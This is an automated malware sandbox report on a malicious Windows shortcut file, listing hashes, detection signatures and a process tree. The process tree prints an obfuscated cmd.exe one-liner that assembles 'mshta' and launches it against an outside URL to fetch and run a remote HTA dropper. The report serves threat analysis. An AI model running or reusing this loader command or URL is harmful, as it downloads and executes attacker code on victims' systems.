Analysis
- max time kernel
58s - max time network
57s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/08/2026, 12:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-KPM673.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-KPM673.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-KPM673.lnk
- Size 1KB
- Sample260821-pql2caem6s
- SHA256 78b9cebe5bf956ca78a284cc674d5075b79f12434b3c4678c0e45db8a2fc3f68
- MD5 38d1f1a8858e7217c35f5c36670badf2
- SHA1 f394ec88eb5c9da8cbb3bcf86b003d06b6db2751
- SHA512 d4d31e4f0c46db1a165b1de005d4bab9acb27fd31eb81af6d4640d61e272204751e831f5e4ef71b40f997f9a3db2f85ce3dfdf51ab08e03ac1a2a3420254cf99
- TLSH T1543124107EF90628F3F79F7688BB9B2099BBB8568D20C61E4150854D5072A01E67AF7B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4348 cmd.exe 4160 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4348 wrote to memory of 4160 4348 cmd.exe 90 PID 4160 wrote to memory of 5048 4160 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KPM673.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4348 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set EGM=msh&&set oIEF=ta&&start "" !EGM!!oIEF! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\System32\mshta.exemshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:5048
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